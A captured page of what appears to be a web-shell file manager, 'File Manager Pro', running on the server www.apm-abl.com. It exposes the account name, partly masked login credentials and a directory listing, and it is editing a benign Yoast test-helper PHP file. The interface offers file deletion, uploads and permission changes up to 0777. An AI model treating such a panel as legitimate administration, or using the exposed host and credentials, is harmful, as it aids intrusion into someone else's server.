🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_e19d3472 / 99d5****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: feature-toggler.php
<?php namespace Yoast\WP\Test_Helper; /** * Toggles the features on and off. */ class Feature_Toggler implements Integration { /** * The features to toggle. * * @var string[] */ private $features = []; /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Registers WordPress hooks. * * @return void */ public function add_hooks() { \add_filter( 'wpseo_enable_feature', [ $this, 'enable_features' ] ); \add_action( 'admin_post_yoast_seo_feature_toggler', [ $this, 'handle_submit' ] ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { if ( $this->features === [] ) { return ''; } $fields = ''; foreach ( $this->features as $feature => $label ) { $key = 'feature_toggle_' . $feature; $fields .= Form_Presenter::create_checkbox( $key, /* translators: %s expands to the label. */ \sprintf( \esc_html__( 'Enable %s', 'yoast-test-helper' ), $label ), $this->option->get( $key ) ); } return Form_Presenter::get_html( \__( 'Feature toggler', 'yoast-test-helper' ), 'yoast_seo_feature_toggler', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_feature_toggler' ) !== false ) { foreach ( $this->features as $feature => $label ) { $key = 'feature_toggle_' . $feature; $this->option->set( $key, isset( $_POST[ $key ] ) ); } } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Enable a feature in the plugin. * * @param string[] $feature_array The array of enabled features. * * @return string[] The modified array of enabled features. */ public function enable_features( $feature_array ) { foreach ( $this->features as $feature => $label ) { if ( $this->option->get( 'feature_toggle_' . $feature ) ) { $feature_array[] = $feature; } } return $feature_array; } }
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar